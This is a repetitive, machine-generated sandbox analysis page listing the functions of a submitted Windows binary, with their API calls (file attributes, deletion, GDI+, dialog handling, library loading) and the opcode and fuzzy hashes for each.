Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: a52dbbbc75a735f0bb564188252d49a9f3ddcc19a92d6b3319580cf2f54098e8
Instruction ID: 6cc15050c507d26cb2a1489ae7c2869b1aae61edfc83bf84ed245faf2a55b2d0
Opcode Fuzzy Hash: a52dbbbc75a735f0bb564188252d49a9f3ddcc19a92d6b3319580cf2f54098e8
Instruction Fuzzy Hash: 80F0963260511D76DB212A25AC05B7F77D8CF91B70F2541E5FB14A7191DF70DD0985A0

Function 00BE109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00BE10AB
GetProcessAffinityMask.KERNEL32(00000000), ref: 00BE10B2

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: de6ad8d0ea808256b5302e80cf60d391e89870736dbdb68abc997eb9360da273
Instruction ID: e367edfd9b5aff152c0243e57ce35b848087f927edabd902e812ae36a273d4d0
Opcode Fuzzy Hash: de6ad8d0ea808256b5302e80cf60d391e89870736dbdb68abc997eb9360da273
Instruction Fuzzy Hash: C2E0D832B101C5E7CF0987B99C05AEF73DDEA4420873085B6E403D3102FA34DE418760

Function 00BDA4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00BDA325,?,?,?,00BDA175,?,00000001,00000000,?,?), ref: 00BDA501

Part of subcall function 00BDBB03: _wcslen.LIBCMT ref: 00BDBB27

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00BDA325,?,?,?,00BDA175,?,00000001,00000000,?,?), ref: 00BDA532

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 202cd50d5fec49f1031c21cbc24604ebeb3a9657f773ec97372bf58c800bde0e
Instruction ID: b9f3c8029d9daab99ad2161b7841f7dc895d5f8ea0b723e614074fd796d23eb3
Opcode Fuzzy Hash: 202cd50d5fec49f1031c21cbc24604ebeb3a9657f773ec97372bf58c800bde0e
Instruction Fuzzy Hash: DEF06532240149BBDF016F60DC45FDE77ACEF14389F4480A2B945D5260EB71DAD8DB60

Function 00BDA1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,00BD977F,?,?,00BD95CF,?,?,?,?,?,00C02641,000000FF), ref: 00BDA1F1

Part of subcall function 00BDBB03: _wcslen.LIBCMT ref: 00BDBB27

DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00BD977F,?,?,00BD95CF,?,?,?,?,?,00C02641), ref: 00BDA21F

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: 2c6afba8cf2c414d39ec2c36350bc3de879b970f4ccc302f47097346cb521eb4
Instruction ID: 8bd39e64fbe834e0ed94962a93e2fb9ad7ac406fd642b8294d1e2cb82d891f2b
Opcode Fuzzy Hash: 2c6afba8cf2c414d39ec2c36350bc3de879b970f4ccc302f47097346cb521eb4
Instruction Fuzzy Hash: D7E092311402497BDB015F61DC45FDD779CEB08385F4840A2B944D2150FB61DE84DA54

Function 00BEAC7C Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00C02641,000000FF), ref: 00BEACB0
CoUninitialize.COMBASE(?,?,?,?,00C02641,000000FF), ref: 00BEACB5

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 5ccc94d8003c04c5d3a34fd10d930c13dd2a8730d94048f3441bc01ea57a18f2
Instruction ID: 1ff536ffade7f25af1b55a30837bb07525276ac33b2af516f9dca812bf2d80d0
Opcode Fuzzy Hash: 5ccc94d8003c04c5d3a34fd10d930c13dd2a8730d94048f3441bc01ea57a18f2
Instruction Fuzzy Hash: 31E06D72604690EFCB009B59DC4AB49FBACFB89B20F00426AF416D37A0CB74A940CA90

Function 00BDA243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00BDA23A,?,00BD755C,?,?,?,?), ref: 00BDA254

Part of subcall function 00BDBB03: _wcslen.LIBCMT ref: 00BDBB27

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00BDA23A,?,00BD755C,?,?,?,?), ref: 00BDA280

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 1d3d831dedad4815aaea8a477844d8bcc8db73735c1ab7f4a21522f23fbd469d
Instruction ID: 1cf0e9d957b6612d59edf6654e6823cfc39db14afda68698f9d195330ebc71c2
Opcode Fuzzy Hash: 1d3d831dedad4815aaea8a477844d8bcc8db73735c1ab7f4a21522f23fbd469d
Instruction Fuzzy Hash: 97E092315001649BDB20AB64CC05BD9F79CEB083E5F0542A2FD54E3294E770DE44CAA0

Function 00BEDEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00BEDEEC

Part of subcall function 00BD4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BD40A5

SetDlgItemTextW.USER32(00000065,?), ref: 00BEDF03

Part of subcall function 00BEB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00BEB579
Part of subcall function 00BEB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BEB58A
Part of subcall function 00BEB568: IsDialogMessageW.USER32(0001043E,?), ref: 00BEB59E
Part of subcall function 00BEB568: TranslateMessage.USER32(?), ref: 00BEB5AC
Part of subcall function 00BEB568: DispatchMessageW.USER32(?), ref: 00BEB5B6

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 7dc6953e8362a3d761b46121bd77f6c9c4fd6bbd45d5a7cfa319ef8acefe9ee9
Instruction ID: c9fca0a6a774d2801dcae4d86a2e7344e08c87b1cc3818b18237f6618bba25d6
Opcode Fuzzy Hash: 7dc6953e8362a3d761b46121bd77f6c9c4fd6bbd45d5a7cfa319ef8acefe9ee9
Instruction Fuzzy Hash: 52E092B251428866DF02AB61DC06FDE3BECAB15785F044892B201DA1E2EA78EA148761

Function 00BE081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00BE0836
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00BDF2D8,Crypt32.dll,00000000,00BDF35C,?,?,00BDF33E,?,?,?), ref: 00BE0858

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 64b27637e3c3d55f0c90828438cbdc25aec5cc40504acbc305dd45996f6d2af5
Instruction ID: c1ab7e66b73ad9cadf1f09ea0f6f2b952297bbaa4b5905d8e3d8af09d1498531
Opcode Fuzzy Hash: 64b27637e3c3d55f0c90828438cbdc25aec5cc40504acbc305dd45996f6d2af5
Instruction Fuzzy Hash: 66E048764011986BDB11A795DC05FDA77ECEF0D3D1F0500A67645D2104D7B4DA84CBB0

Function 00BEA3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00BEA3DA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00BEA3E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: e67135f253f21952792b6106f9661b01bb3aecb2ca15999bea81ee152065fd55
Instruction ID: 3017bbb523d9d68db9dccdd468beb53fe8ee5ebdc153216fa08ac955bb29cdac
Opcode Fuzzy Hash: e67135f253f21952792b6106f9661b01bb3aecb2ca15999bea81ee152065fd55
Instruction Fuzzy Hash: 6AE0EDB1900258EBCB10DF5AC541799BBE8EF04360F20C09AA85693241E374EE04DB91

Function 00BF2B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BF2BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00BF2BB5

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: ea563862d98f16d1ba6084fe12dc41882c61b5f237877f031adbf383bcd0c616
Instruction ID: f893de811b550c779b40bb8558e7be6c4beaec9aa04b2bda4cacf7f03b2a0ae0
Opcode Fuzzy Hash: ea563862d98f16d1ba6084fe12dc41882c61b5f237877f031adbf383bcd0c616
Instruction Fuzzy Hash: 8AD0A9381A830C18AC182B782A06A7823C5ED41B71BA016EAEF20874C3EA10804CA411

Function 00BD12F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00BD1306
ShowWindow.USER32(00000000), ref: 00BD130D

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 22f7689221cce11a0941a550e0dc567513789c53322fa76e6d1f796608f612a9
Instruction ID: d7757a33d0c38603b2d3b1f20e17ae92a21a79ab2db5087b310a9e6d2c3ff3aa
Opcode Fuzzy Hash: 22f7689221cce11a0941a550e0dc567513789c53322fa76e6d1f796608f612a9
Instruction Fuzzy Hash: 92C0123226C280BECB010BB4DC09E2FBBA8ABA5312F04C908B4A5C0060C238C110DB11

Function 00BD1A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD1A09

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 96eb43120e3fd3a0e5e46a9907b07323b4a195a7d82a503bfb9fd0e950105612
Instruction ID: 1a40b9365eff1ae7d7ca5e0099a7181caca39765335d844969998ecb4042ec02
Opcode Fuzzy Hash: 96eb43120e3fd3a0e5e46a9907b07323b4a195a7d82a503bfb9fd0e950105612
Instruction Fuzzy Hash: CAC18370A00254ABEF15CF6CC498BA9BBE5EF15310F1809FBEC559B396EB309944CB61

Function 00BD3BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD3BBF

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 5e3a8df4932a02ad9d68b2e8785afbdce9e2ded0021e092198566474c2e43ef5
Instruction ID: 1e54b6ad2b74385a7f135d620045233a3f4374623ddb5c3e070290f2e593016f
Opcode Fuzzy Hash: 5e3a8df4932a02ad9d68b2e8785afbdce9e2ded0021e092198566474c2e43ef5
Instruction Fuzzy Hash: 4971C271500B849ECB25DB70C8959E7F7E9EF14701F4409AFE1AB87342EA326684DF12

Function 00BD8284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD8289

Part of subcall function 00BD13DC: __EH_prolog.LIBCMT ref: 00BD13E1

Part of subcall function 00BDA56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00BDA598

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: 52a79ac8c54465e8c0c958df03df5587d6c2622debc40cf59ad3ec938be44445
Instruction ID: fc38769f0b92b9c92425472b660919afe968973f7d43f9427d88fd8a92052380
Opcode Fuzzy Hash: 52a79ac8c54465e8c0c958df03df5587d6c2622debc40cf59ad3ec938be44445
Instruction Fuzzy Hash: 2B4193719446589ADB24EB60CC55AEAF3E8EF00704F0404EBE08E97283FB745EC4CB10

Function 00BD13E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD13E1

Part of subcall function 00BD5E37: __EH_prolog.LIBCMT ref: 00BD5E3C

Part of subcall function 00BDCE40: __EH_prolog.LIBCMT ref: 00BDCE45

Part of subcall function 00BDB505: __EH_prolog.LIBCMT ref: 00BDB50A

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a314c98bf7a2e100914af19e97102cb3872d371468e19f6a37666604a826bda7
Instruction ID: 8aa5c30de85bc0fe1caa8d1f433895d96034ddca439e7663f8f79be46b494bdb
Opcode Fuzzy Hash: a314c98bf7a2e100914af19e97102cb3872d371468e19f6a37666604a826bda7
Instruction Fuzzy Hash: 144149B0905B41AEE724DF398885AE6FBE5BF28300F50496ED5FE83382DB316654CB50

Function 00BD13DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD13E1

Part of subcall function 00BD5E37: __EH_prolog.LIBCMT ref: 00BD5E3C

Part of subcall function 00BDCE40: __EH_prolog.LIBCMT ref: 00BDCE45

Part of subcall function 00BDB505: __EH_prolog.LIBCMT ref: 00BDB50A

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1049bc508937651850067ddabcc97bb1abca825174c0650d78634dfc0fc645f5
Instruction ID: 51d9089c961327ff4c0d14dfb13b442ef70c664518b858aef54f36b1b528bb3b
Opcode Fuzzy Hash: 1049bc508937651850067ddabcc97bb1abca825174c0650d78634dfc0fc645f5
Instruction Fuzzy Hash: 464149B0905B409EE724DF798885AE6FBE5BF28300F50496ED5FE83282DB326654CB50

Function 00BEB093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BEB098

Part of subcall function 00BD13DC: __EH_prolog.LIBCMT ref: 00BD13E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: dd3ce1df275981b66dbf0e38671961d4919da51bcae49caa6f3f3f52f312a584
Instruction ID: ea47077fbfbf9fd245b1c939ce53d0fddfb548337f8e29ce7cf95393d5274771
Opcode Fuzzy Hash: dd3ce1df275981b66dbf0e38671961d4919da51bcae49caa6f3f3f52f312a584
Instruction Fuzzy Hash: B8316B71C14289AACF15DF69C9919EEBBF4AF09300F1044DEE409B7242E735AE04CB61

Function 00BFAC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00BFACF8

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 52f7c5e716bd8925e44ccb87ab49215b176a90b11fb51478c4f34b1964d92fe7
Instruction ID: 3148d1f162891a4a2897d3f39142727338e2e8896c2912bc9200011719a587ba
